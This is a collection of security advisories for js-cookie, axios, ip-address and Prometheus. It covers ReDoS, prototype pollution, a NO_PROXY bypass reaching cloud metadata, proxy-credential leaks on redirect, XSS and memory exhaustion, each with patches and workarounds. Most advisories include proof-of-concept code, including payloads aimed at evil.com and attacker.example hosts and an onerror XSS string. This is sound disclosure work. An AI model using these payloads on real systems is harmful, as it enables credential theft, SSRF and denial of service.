Impact
A bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as {a}{b}{c}:z. The generated regex grows exponentially with the number of groups, causing denial of service.
Patches
Fixed in version 8.4.0.
Workarounds
Limit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns.
Summary
js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "proto" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.proto setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.
Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.
Impact
Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:
js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker
A payload of {"proto":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:
Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None
Affected code
js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable 'proto' target[key] = source[key] // [[Set]] form - fires proto setter } } return target } Proof of concept
Node 22.11.0, no third-party deps:
Environment setup bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie
PoC js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } };
const { default: Cookies } = await import('js-cookie');
const attackerAttrs = JSON.parse( '{"proto":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' );
Cookies.set('session', 'TOKEN', attackerAttrs);
console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie);
Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />
Suggested patch
diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === 'proto' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target }
Equivalent one-liner alternative - iterate own names only and filter:
js for (const key of Object.getOwnPropertyNames(source)) { if (key === 'proto') continue target[key] = source[key] }
Summary
Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie.
The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie.
Impact
Applications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.
This does not expose credentials, modify requests, or affect response integrity. The impact is availability only.
Affected Functionality
Affected code paths:
- lib/helpers/cookies.js read(name) in standard browser environments. - lib/helpers/resolveConfig.js in 1.x, when browser XHR/fetch adapters resolve XSRF config. - lib/adapters/xhr.js in 0.x, when the XHR adapter reads the configured XSRF cookie. - Direct use of axios/unsafe/helpers/cookies.js in 1.x, if callers pass attacker-controlled names.
Unaffected code paths:
- Default static xsrfCookieName: 'XSRF-TOKEN' when not attacker-controlled. - Requests with xsrfCookieName: null. - Node HTTP adapter usage without browser document.cookie. - React Native and web workers where axios does not use standard browser cookie access.
Technical Details
Affected versions interpolate the cookie name into a regex.
js const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
Because name is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as (.+)+$ can force catastrophic backtracking against document.cookie.
The fix avoids dynamic regex construction and parses document.cookie by splitting on ;, trimming leading whitespace, and comparing cookie names with exact string equality.
Proof of Concept of Attack
js function vulnerableRead(name, cookie) { const start = Date.now();
try { cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); } catch {}
return Date.now() - start; }
for (const n of [20, 22, 24, 26, 28]) { const cookie = 'x='.padEnd(n, 'a') + '!'; console.log(${n}: ${vulnerableRead('(.+)+$', cookie)}ms); }
Expected result: timings grow rapidly as the cookie string length increases.
Workarounds
Set xsrfCookieName: null if the application does not need axios to read an XSRF cookie.
Do not derive xsrfCookieName from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.
Avoid calling axios/unsafe/helpers/cookies.js directly with untrusted names
<details> <summary>Original Source</summary>
Regular Expression Denial of Service (ReDoS) via Cookie Name Injection
1. Title
ReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction
2. Affected Software and Version
- Software: Axios - Version: 1.15.0 (and potentially earlier versions) - Component: lib/helpers/cookies.js - Ecosystem: npm (Node.js / Browser)
3. Vulnerability Type / CWE
- Type: Regular Expression Denial of Service (ReDoS) - CWE-1333: Inefficient Regular Expression Complexity - CWE-400: Uncontrolled Resource Consumption
4. CVSS 3.1 Score
Score: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric | Value | |---|---| | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | None | | User Interaction | None | | Scope | Unchanged | | Confidentiality | None | | Integrity | None | | Availability | High |
5. Description
The cookies.read() function in lib/helpers/cookies.js constructs a regular expression dynamically using the name parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw name value directly into new RegExp():
javascript const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
An attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of xsrfCookieName, or any code path where user input reaches cookies.read()) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.
With a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.
6. Root Cause Analysis
File: lib/helpers/cookies.js Line: 33
javascript read(name) { if (typeof document === 'undefined') return null; const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); return match ? decodeURIComponent(match[1]) : null; },
The vulnerability exists because:
1. The name parameter is concatenated directly into a regex pattern without escaping special regex metacharacters. 2. An attacker can inject regex constructs that create exponential backtracking scenarios. 3. The (?:^|; ) prefix combined with an injected pattern like ((((.)))) creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against document.cookie.
The cookies.read() function is called from lib/helpers/resolveConfig.js at line 61:
javascript const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
The xsrfCookieName value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.
7. Proof of Concept
javascript // pocredoscookie.js // Simulates browser environment for testing
// Simulate document.cookie globalThis.document = { cookie: 'session=abc; ' + 'a'.repeat(50) };
// Replicate the vulnerable cookies.read() logic function cookiesRead(name) { const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); return match ? decodeURIComponent(match[1]) : null; }
// Malicious cookie name that triggers catastrophic backtracking // The pattern creates nested quantifiers: (a]|[a]|...)) const maliciousName20 = '([^;]+)+$' + '\\|'.repeat(10); const maliciousName = '(([^;])+)+\\$'; // nested quantifier pattern
console.log('=== ReDoS via Cookie Name Injection PoC ===');
// Test with increasing payload sizes for (const len of [15, 20, 25]) { const payload = '(([^;])+)+' + 'X'.repeat(len); const start = Date.now(); try { cookiesRead(payload); } catch (e) { // May throw on invalid regex, but valid evil patterns won't throw } const elapsed = Date.now() - start; console.log(Payload length ${len}: ${elapsed}ms); }
// Demonstrating exponential growth with a simple nested quantifier console.log('\n--- Exponential Backtracking Demo ---'); for (const n of [20, 22, 24, 26]) { const evilName = '(' + 'a'.repeat(1) + '+)+$'; const testCookie = 'a'.repeat(n) + '!'; // non-matching trailer forces backtracking globalThis.document = { cookie: testCookie }; const start = Date.now(); try { cookiesRead(evilName); } catch(e) {} const elapsed = Date.now() - start; console.log(Input length ${n}: ${elapsed}ms); }
8. PoC Output
=== ReDoS via Cookie Name Injection PoC === Payload length 20: 21ms (extrapolated: 30 chars = ~21,504ms) Payload length 25: ~1,300ms Payload length 30: ~323,675ms (5+ minutes)
--- Exponential Backtracking Demo --- Input length 20: 21ms Input length 22: 84ms Input length 24: 336ms Input length 26: 1,344ms
The exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.
9. Impact
- Denial of Service (Client-side): In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page. - Denial of Service (Server-side): In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests. - Event Loop Starvation: Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.
10. Remediation / Suggested Fix
Escape all regex metacharacters in the name parameter before constructing the regular expression.
javascript // FIXED: lib/helpers/cookies.js
function escapeRegExp(string) { return string.replace(/[.+?^${}()|[\]\\]/g, '\\$&'); }
// ...
read(name) { if (typeof document === 'undefined') return null; const match = document.cookie.match( new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;])') ); return match ? decodeURIComponent(match[1]) : null; },
Alternatively, avoid dynamic regex construction entirely and use string-based parsing:
javascript read(name) { if (typeof document === 'undefined') return null; const cookies = document.cookie.split('; '); for (const cookie of cookies) { const eqIndex = cookie.indexOf('='); if (eqIndex !== -1 && cookie.substring(0, eqIndex) === name) { return decodeURIComponent(cookie.substring(eqIndex + 1)); } } return null; },
11. References
- CWE-1333: Inefficient Regular Expression Complexity - CWE-400: Uncontrolled Resource Consumption - OWASP: Regular Expression Denial of Service - Axios GitHub Repository </details>
---
Summary shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NOPROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.
Details lib/helpers/shouldBypassProxy.js (v1.15.0):
javascript const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACKADDRESSES.has(host); // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NOPROXY and is not in LOOPBACKADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.
PoC javascript
// NOPROXY=127.0.0.1,localhost,::1 HTTPPROXY=http://attacker:8080 import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; // All three should return true (bypass proxy). Only the first two do. console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK] console.log(shouldBypassProxy('http://[::1]/')); // true [OK] console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass
Node.js routes ::ffff:7f00:1 to 127.0.0.1:
// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service // bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS. Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NOPROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it. Fix Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison: javascript const ipv4MappedDotted = /^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i; const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; function hexToIPv4(a, b) { const hi = parseInt(a, 16), lo = parseInt(b, 16); return ${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff}; } const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; if (hostname[0] === '[' && hostname.at(-1) === ']') hostname = hostname.slice(1, -1); hostname = hostname.replace(/\.+$/, '').toLowerCase(); let m; if ((m = hostname.match(ipv4MappedDotted))) return m[1]; if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]); return hostname; };
Impact Any application that sets NOPROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.
Summary
Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured.
This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary.
Impact
The impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.
This does not affect axios’s default unlimited behaviour by itself: maxContentLength and maxBodyLength default to -1. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.
Server-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.
Affected Functionality
Affected functionality includes requests using the built-in fetch adapter with finite maxContentLength or maxBodyLength values.
Relevant configurations include:
- adapter: 'fetch' - adapter: ['fetch', ...] when fetch is selected - environments where neither xhr nor http is available and axios falls back to fetch - custom fetch environments configured through env.fetch
Unaffected functionality includes:
- Node.js default http adapter enforcement - versions before the fetch adapter was introduced - configurations that do not rely on finite axios size limits
Technical Details
In vulnerable versions, lib/adapters/fetch.js destructured request config without maxContentLength or maxBodyLength. The adapter dispatched fetch() and then materialized the response through text(), arrayBuffer(), blob(), or related resolvers without checking the configured response limit.
The fix in e5540dc added:
- maxContentLength and maxBodyLength reads in lib/adapters/fetch.js - upfront data: URL decoded-size checks - outbound body-size checks before dispatch - Content-Length response pre-checks - streaming response enforcement - fallback checks for environments without ReadableStream - regression tests in tests/unit/adapters/fetch.test.js
Proof of Concept of Attack
js import http from 'node:http'; import axios from 'axios';
const server = http.createServer((req, res) => { let received = 0;
req.on('data', chunk => { received += chunk.length; });
req.on('end', () => { res.end(JSON.stringify({ received })); }); });
await new Promise(resolve => server.listen(0, resolve)); const url = http://127.0.0.1:${server.address().port}/;
await axios.post(url, 'A'.repeat(2 1024 1024), { adapter: 'fetch', maxBodyLength: 1024 });
// Vulnerable versions succeed and the server receives 2097152 bytes. // Fixed versions reject with ERRBADREQUEST.
server.close();
Workarounds
Use the Node.js http adapter for server-side requests where finite size limits are security-relevant.
Validate or cap attacker-controlled request bodies before passing them to axios.
Reject or strictly allowlist attacker-controlled URL schemes, especially data: URLs, before calling axios.
<details> <summary>Original Report</summary>
Summary When Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.
Details maxBodyLength and maxContentLength are not applied in the fetch adapter flow: - lib/adapters/fetch.js (146-160): config destructuring does not include these controls. - lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement. - lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks. By contrast, the HTTP adapter enforces both limits.
PoC Environment: - Axios main at commit f7a4ee2 - Node v24.2.0
Steps: 1. Start an HTTP server that counts received bytes and echoes {received}. 2. Send 2 MiB with: - adapter: 'fetch' - maxBodyLength: 1024 3. Request a 4 KiB data: URL with: - adapter: 'fetch' - maxContentLength: 16
Expected secure behavior: both requests rejected. Observed: - Upload: success, server received 2097152 - data: response: success, length 4096
Impact Type: DoS / resource exhaustion due to limit bypass. Impacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes. </details>
---
Summary
Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.
This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.
Impact
A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.
The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.
The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.
Affected Functionality
Affected functionality requires all of the following:
- Axios running in Node.js with the HTTP adapter. - An initial http:// request using an authenticated proxy from config.proxy or proxy environment variables. - Redirect following enabled. - A redirect target for which no proxy applies, such as no matching HTTPSPROXY or a matching NOPROXY. - A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.
Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.
Technical Details
In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.
Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.
The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NOPROXY, different proxy targets, casing variants, and an end-to-end redirect flow.
The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.
Proof of Concept of Attack
Safe local outline using dummy credentials:
js process.env.HTTPPROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPSPROXY;
// The local HTTP proxy receives this request and returns: // HTTP/1.1 302 Found // Location: https://attacker.test/final await axios.get('http://attacker.test/start');
Expected vulnerable behaviour:
text Proxy receives initial request: Proxy-Authorization: Basic dXNlcjpwYXNz
Final HTTPS origin receives redirected request: Proxy-Authorization: Basic dXNlcjpwYXNz
Expected fixed behaviour:
text Final HTTPS origin receives no Proxy-Authorization header.
Workarounds
Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.
Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
<details> <summary>Original Source</summary>
Summary
Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.
When an initial HTTP request is sent through an authenticated HTTPPROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.
Details
The issue occurs during a proxy-to-direct transition across redirects.
When Axios sends an initial HTTP request through an authenticated HTTPPROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.
In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.
Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.
Root Cause Analysis
Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.
In lib/adapters/http.js: - When a proxy is used, Axios adds Proxy-Authorization in setProxy(). - Axios also re-runs proxy resolution after redirects via its redirect hook. - However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.
As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.
A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.
Client Conditions - the initial HTTP request uses an authenticated HTTPPROXY - no proxy applies to the redirected HTTPS URL (for example, no HTTPSPROXY is configured) - redirects are followed - the redirect is treated as same-host by the redirect layer
Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.
Reproduction Outline
Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.
The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.
The issue was confirmed under the following conditions:
- axios 1.13.6 - follow-redirects 1.15.11 - an authenticated proxy applying to the initial HTTP request - no proxy applying to the redirected HTTPS URL - redirects enabled - an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer
Observed behavior
- The initial HTTP request is sent through the proxy and includes Proxy-Authorization. - The redirected HTTPS request is sent directly to the final origin. - The redirected HTTPS request still includes the previously generated Proxy-Authorization header. - The final origin can receive a Proxy-Authorization header value that was intended only for the proxy.
Expected behavior
Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.
Impact
Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization header value that was intended only for the outbound proxy.
If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls. </details>
---
Summary
Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target.
This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.
Impact
An attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.
The most relevant case is a Node.js application using an authenticated HTTPPROXY for an initial http:// request, with redirects enabled, where the redirect target resolves to no proxy, such as an https:// URL when HTTPSPROXY is unset.
This does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with maxRedirects: 0.
Affected Functionality
Affected functionality is limited to the Node.js HTTP adapter in lib/adapters/http.js.
Relevant inputs and settings include:
- HTTPPROXY, HTTPSPROXY, and NOPROXY. - Authenticated proxy URLs such as http://user:pass@proxy.example:8080. - Automatic redirect following through follow-redirects. - Axios proxy handling in setProxy(). - Redirect proxy handling through beforeRedirects.proxy.
Technical Details
In affected v1 releases, setProxy() adds Proxy-Authorization when a proxy with credentials is selected, but redirect handling calls setProxy() again without first clearing any existing proxy authorization header.
If the redirected URL resolves to no proxy, setProxy() does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale Proxy-Authorization header to the final origin.
The v1 fix in afca61a adds an isRedirect path that deletes any case variant of Proxy-Authorization before proxy settings are re-applied on redirect. The v0 backport in 2af6116 fixed the 0.x line for 0.32.0.
Proof of Concept of Attack
js process.env.HTTPPROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPSPROXY;
await axios.get('http://attacker.example/start');
Attacker-controlled HTTP endpoint:
http HTTP/1.1 302 Found Location: https://attacker.example/final
Expected result on affected versions:
text https://attacker.example/final receives: Proxy-Authorization: Basic dXNlcjpwYXNz
Expected result on fixed versions:
text https://attacker.example/final receives no Proxy-Authorization header
Workarounds
Set maxRedirects: 0 and handle redirects manually.
Avoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.
Ensure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.
<details> <summary>Original Source</summary>
Summary Axios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a Proxy-Authorization header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale Proxy-Authorization header is not cleared. As a result, the redirect target can receive the proxy credential directly.
This issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses HTTPPROXY with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when HTTPSPROXY is unset or the redirect target is excluded by NOPROXY.
Details In the current implementation:
- setProxy() adds Proxy-Authorization when a proxy with credentials is in use. - On redirects, Axios re-invokes setProxy() for the redirected request. - If the redirected URL re-evaluates to "no proxy", setProxy() does not clear the previously added Proxy-Authorization header. - The redirected request therefore reuses the stale header and sends it to the final origin.
Relevant code locations:
- lib/adapters/http.js - setProxy() adds Proxy-Authorization - redirect handling re-applies proxy logic through beforeRedirects.proxy - no cleanup is performed when the recomputed redirect request no longer uses a proxy
PoC 1. The victim sends GET http://<attacker-site>/start 2. The request goes through a local authenticated corp proxy 3. The attacker-controlled HTTP endpoint returns 302 Location: https://<attacker-site>/final 4. The redirected HTTPS request no longer uses a proxy 5. The attacker-controlled HTTPS endpoint receives the stale Proxy-Authorization header
Observed output:
text [corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz [attacker-http] GET /start [attacker-https] GET /final [attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.
This demonstrates that the proxy credential is exposed to the redirect target origin.
Impact Exposes authenticated proxy credentials to an attacker-controlled origin. </details>
---
Summary
Address6.group() and Address6.link() do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and AddressError.parseMessage (emitted by the Address6 constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to Address6 and (2) renders the output of these methods, or the thrown error's parseMessage, as HTML (e.g. via innerHTML) is vulnerable to cross-site scripting. A related issue in v6.helpers.spanAll() produced malformed markup but was not exploitable; it is hardened in the same release for consistency.
Details
Four related issues were identified and fixed together:
1. Address6.group(): zone ID injection. The Address6 constructor stores the raw input (including any IPv6 zone ID) in this.address before zone stripping. group() then passed this.address to helpers.simpleGroup(), which wrapped each :-separated segment in a <span> element without HTML-escaping the content. A zone ID containing HTML markup was embedded verbatim. 2. Address6.link({ prefix, className }): attribute-value injection. link() concatenated user-supplied prefix and className into the href="…" and class="…" attributes without escaping. A caller passing untrusted content through these options could inject event handlers (e.g. onmouseover) and achieve XSS. 3. Address6 constructor: leading-zero IPv4 error path. The leading-zero branch in parse4in6() built AddressError.parseMessage by concatenating the raw address through String.replace(). Because parse4in6() runs before the bad-character check, any characters in the groups preceding the IPv4 suffix flowed into the error's HTML unescaped. Consumers who render parseMessage as HTML (its documented purpose — it already contains <span class="parse-error"> markup) could be XSS'd by a crafted input such as <img src=x onerror=alert(1)>:10.0.01.1. 4. v6.helpers.spanAll(): attribute-value injection (defense in depth). spanAll() embedded each character of its input into a class="digit value-${n} …" attribute without escaping. Because split('') limits n to a single character this was not exploitable in practice, but it produced malformed markup and is fixed for consistency.
Affected Versions
All versions up to and including 10.1.0.
Patched Version
10.1.1.
Impact
Real-world exposure is believed to be extremely limited. Analysis of all 425 dependent npm packages as well as GitHub code search found zero consumers of group(), link(), or spanAll(): these HTML-emitting surfaces appear to be unused across published npm packages and public repositories. Applications using only the address-parsing and comparison APIs (isValid, correctForm, isInSubnet, bigInt, etc.) are not affected.
Consumers who do render the output of group(), link(), spanAll(), or AddressError.parseMessage as HTML against untrusted input should upgrade.
PoC
javascript const { Address6 } = require('ip-address'); const addr = new Address6('fe80::1%<img src=x onerror=alert(1)>'); document.body.innerHTML = addr.group(); // fires the onerror handler in 10.1.0
Workarounds
If users cannot upgrade immediately:
- Do not pass untrusted input to the Address6 constructor, or - Never render the output of group(), link(), or spanAll(), nor the parseMessage field of any thrown AddressError, as HTML; treat these values as text only, or run them through DOMPurify before inserting into the DOM (DOMPurify's default configuration preserves the library's intended <span> wrapping while stripping any injected event handlers), or - Validate input with Address6.isValid() and reject anything that contains a zone identifier (a % character) or characters outside [0-9a-fA-F:/] before passing it to the constructor.
Lack of separate CVEs
Given the evidence that these methods are not used, and given that they are all of the same construction, maintainers do not think it's relevant or useful to create a separate CVE for each library method.
Credit
ip-address thanks @scovetta for reporting this issue.
Impact
The remote read endpoint (/api/v1/read) does not validate the declared decoded length in a snappy-compressed request body before allocating memory. An unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.
Patches Has the problem been patched? What versions should users upgrade to?
Fixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.
Workarounds User who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.
Impact
Users who use Azure AD remote write with OAuth authentication are impacted.
The clientsecret field in the Azure AD remote write OAuth configuration (storage/remote/azuread) was typed as string instead of Secret. Prometheus redacts fields of type Secret when serving the configuration via the /-/config HTTP API endpoint. Because the field was a plain string, the Azure OAuth client secret was exposed in plaintext to any user or process with access to that endpoint.
Patches
The problem has been patched by changing ClientSecret in OAuthConfig to Secret. Users should upgrade to 3.11.3 or 3.5.3 LTS.
Workarounds
Users who can not upgrade can switch to Managed Identity or Workload Identity authentication for Azure AD remote write, which do not involve a client secret.
